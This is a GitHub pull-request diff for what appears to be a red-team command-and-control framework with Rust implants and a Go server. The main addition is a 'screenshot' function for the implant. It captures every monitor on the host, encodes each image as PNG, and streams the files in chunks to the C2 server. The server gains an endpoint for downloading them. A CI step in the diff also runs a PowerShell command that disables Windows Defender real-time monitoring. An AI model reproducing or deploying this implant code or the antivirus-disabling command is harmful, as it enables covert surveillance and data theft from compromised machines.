Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .devcontainer/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ RUN bash /tmp/library-scripts/jekyll-debian.sh
# - Git: git-lfs
# - Rust Cross-compilation: musl-tools gcc-mingw-w64
# - Protobuf: protobuf-compiler protoc-gen-go protoc-gen
RUN apt update && apt install -y git-lfs musl-tools gcc-mingw-w64 protobuf-compiler protoc-gen-go protoc-gen-go-grpc
RUN apt update && apt install -y git-lfs musl-tools gcc-mingw-w64 protobuf-compiler protoc-gen-go protoc-gen-go-grpc libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev

RUN echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" \
| tee -a /etc/apt/sources.list.d/google-cloud-sdk.list && curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | \
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/e2e-asset-execution.yml
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ jobs:
- name: 📦 Install System Dependencies
run: |
sudo apt-get update
sudo apt-get install -y protobuf-compiler libssl-dev
sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev
- name: 🔨 Build Tavern
run: |
go mod download
Expand Down
3 changes: 2 additions & 1 deletion .github/workflows/e2e-portals.yml
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,8 @@ jobs:
- name: 📦 Install System Dependencies
run: |
sudo apt-get update
sudo apt-get install -y protobuf-compiler libssl-dev jq
sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev jq


- name: 🔨 Build Tavern & Socks5
run: |
Expand Down
3 changes: 2 additions & 1 deletion .github/workflows/e2e-repl-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,8 @@ jobs:
- name: 📦 Install System Dependencies
run: |
sudo apt-get update
sudo apt-get install -y protobuf-compiler libssl-dev
sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev

- name: 🔨 Build Tavern
run: |
go mod download
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ jobs:
run: |
rustup target add x86_64-unknown-linux-musl && \
sudo apt update && \
sudo apt install -y musl-tools
sudo apt install -y musl-tools libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config
- name: 🔨 Build Imix
run: cargo build --bin=imix --release --target=x86_64-unknown-linux-musl
working-directory: ./implants/imix
Expand Down Expand Up @@ -191,7 +191,7 @@ jobs:
run: |
rustup target add x86_64-unknown-linux-musl && \
sudo apt update && \
sudo apt install -y musl-tools
sudo apt install -y musl-tools libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config
- name: 🔨 Build Golem
run: cargo build --bin=golem --release --target=x86_64-unknown-linux-musl
working-directory: ./implants/golem
Expand Down
3 changes: 3 additions & 0 deletions .github/workflows/tests.yml
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,9 @@ jobs:
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
name: 👾 Disable defender
shell: powershell
- name: Install system dependencies (Linux)
if: matrix.os == 'ubuntu-latest'
run: sudo apt-get update && sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev
- name: Setup Rust
uses: dtolnay/rust-toolchain@master
with:
Expand Down
1 change: 1 addition & 0 deletions implants/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -151,6 +151,7 @@ lru = "0.16.0"
crossterm = "0.27"
futures = "0.3"
console-subscriber = "0.5.0"
xcap = "0.8.2"

[profile.release]
strip = true # Automatically strip symbols from the binary.
Expand Down
4 changes: 3 additions & 1 deletion implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,10 @@ eldritch-agent = { workspace = true, optional = true }
pb = { workspace = true, optional = true }
nix = { workspace = true, optional = true }
spin = { version = "0.10.0", features = ["rwlock"] }
xcap = { workspace = true, optional = true }
image = { version = "0.25", optional = true }

[features]
default = ["stdlib"]
stdlib = ["dep:pb", "dep:eldritch-agent", "dep:nix"]
stdlib = ["dep:pb", "dep:eldritch-agent", "dep:nix", "dep:xcap", "dep:image"]
fake_bindings = []
4 changes: 4 additions & 0 deletions implants/lib/eldritch/stdlib/eldritch-libreport/src/fake.rs
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,10 @@ impl ReportLibrary for ReportLibraryFake {
fn ntlm_hash(&self, _username: String, _hash: String) -> Result<(), String> {
Ok(())
}

fn screenshot(&self) -> Result<(), String> {
Ok(())
}
}

#[cfg(all(test, feature = "fake_bindings"))]
Expand Down
7 changes: 7 additions & 0 deletions implants/lib/eldritch/stdlib/eldritch-libreport/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -78,4 +78,11 @@ pub trait ReportLibrary {
/// **Returns**
/// - `None`
fn ntlm_hash(&self, username: String, hash: String) -> Result<(), String>;

#[eldritch_method]
/// Reports a screenshot of all screens.
///
/// **Returns**
/// - `None`
fn screenshot(&self) -> Result<(), String>;
}
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ use eldritch_macros::eldritch_library_impl;
pub mod file_impl;
pub mod ntlm_hash_impl;
pub mod process_list_impl;
pub mod screenshot_impl;
pub mod ssh_key_impl;
pub mod user_password_impl;

Expand Down Expand Up @@ -58,4 +59,8 @@ impl ReportLibrary for StdReportLibrary {
fn ntlm_hash(&self, username: String, hash: String) -> Result<(), String> {
ntlm_hash_impl::ntlm_hash(self.agent.clone(), self.context.clone(), username, hash)
}

fn screenshot(&self) -> Result<(), String> {
screenshot_impl::screenshot(self.agent.clone(), self.context.clone())
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
use alloc::format;
use alloc::string::{String, ToString};
use alloc::sync::Arc;
use alloc::vec::Vec;
use eldritch_agent::{Agent, Context};
use image::ImageFormat;
use pb::c2::report_file_request;
use pb::{c2, eldritch};
use std::io::Cursor;
use std::sync::Mutex;
use xcap::Monitor;

#[cfg(all(unix, feature = "stdlib"))]
fn get_hostname() -> String {
nix::unistd::gethostname()
.map(|s| s.to_string_lossy().to_string())
.unwrap_or_else(|_| "unknown".to_string())
}

#[cfg(all(unix, not(feature = "stdlib")))]
fn get_hostname() -> String {
std::env::var("HOSTNAME").unwrap_or_else(|_| "unknown".to_string())
}

#[cfg(windows)]
fn get_hostname() -> String {
std::env::var("COMPUTERNAME").unwrap_or_else(|_| "unknown".to_string())
}

#[cfg(not(any(unix, windows)))]
fn get_hostname() -> String {
"unknown".to_string()
}

pub fn screenshot(agent: Arc<dyn Agent>, context: Context) -> Result<(), String> {
let monitors = Monitor::all().map_err(|e| e.to_string())?;

if monitors.is_empty() {
return Ok(());
}

let hostname = get_hostname();

for (i, monitor) in monitors.iter().enumerate() {
// Capture image
let image = monitor.capture_image().map_err(|e| e.to_string())?;

// Convert to PNG
let mut buffer = Cursor::new(Vec::new());
image
.write_to(&mut buffer, ImageFormat::Png)
.map_err(|e| e.to_string())?;
let png_data = buffer.into_inner();

let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_secs();

let filename = format!("screenshot_{}_{}_{}.png", hostname, timestamp, i);

// Prepare context
let context_val = match context {
Context::Task(ref tc) => Some(report_file_request::Context::TaskContext(tc.clone())),
Context::ShellTask(ref stc) => {
Some(report_file_request::Context::ShellTaskContext(stc.clone()))
}
};

// Error handling for the streaming thread
let error: Arc<Mutex<Option<String>>> = Arc::new(Mutex::new(None));

// Use a sync channel with bound 1 to provide backpressure
let (tx, rx) = std::sync::mpsc::sync_channel(1);

let chunk_size = 1024 * 1024; // 1MB
let total_size = png_data.len();

let png_data_clone = png_data.clone();
let filename_clone = filename.clone();
let context_val_clone = context_val.clone();

// Spawn thread for streaming
std::thread::spawn(move || {
let mut offset = 0;
let mut metadata_sent = false;

loop {
if offset >= total_size {
break;
}

let end = std::cmp::min(offset + chunk_size, total_size);
let chunk_data = png_data_clone[offset..end].to_vec();

let metadata = if !metadata_sent {
metadata_sent = true;
Some(eldritch::FileMetadata {
path: filename_clone.clone(),
permissions: "644".to_string(),
owner: "root".to_string(),
group: "root".to_string(),
size: total_size as u64,
..Default::default()
})
} else {
None
};

let file_msg = eldritch::File {
metadata,
chunk: chunk_data,
};

let req = c2::ReportFileRequest {
context: context_val_clone.clone(),
chunk: Some(file_msg),
kind: c2::ReportFileKind::Screenshot as i32,
};

if tx.send(req).is_err() {
break;
}

offset += chunk_size;
}
});

// Send stream to agent (blocking)
agent.report_file(rx).map(|_| ())?;

if let Some(e) = error.lock().unwrap().as_ref() {
return Err(e.clone());
}
}

Ok(())
}
3 changes: 3 additions & 0 deletions tavern/app.go
Original file line number Diff line number Diff line change
Expand Up @@ -364,6 +364,9 @@ func NewServer(ctx context.Context, options ...func(*Config)) (*Server, error) {
"/cdn/hostfiles/": tavernhttp.Endpoint{
Handler: cdn.NewHostFileDownloadHandler(client, "/cdn/hostfiles/"),
},
"/cdn/screenshots/": tavernhttp.Endpoint{
Handler: cdn.NewScreenshotDownloadHandler(client, "/cdn/screenshots/"),
},
"/assets/download/": tavernhttp.Endpoint{
Handler: cdn.NewDownloadHandler(client, "/assets/download/"),
},
Expand Down
Loading
Loading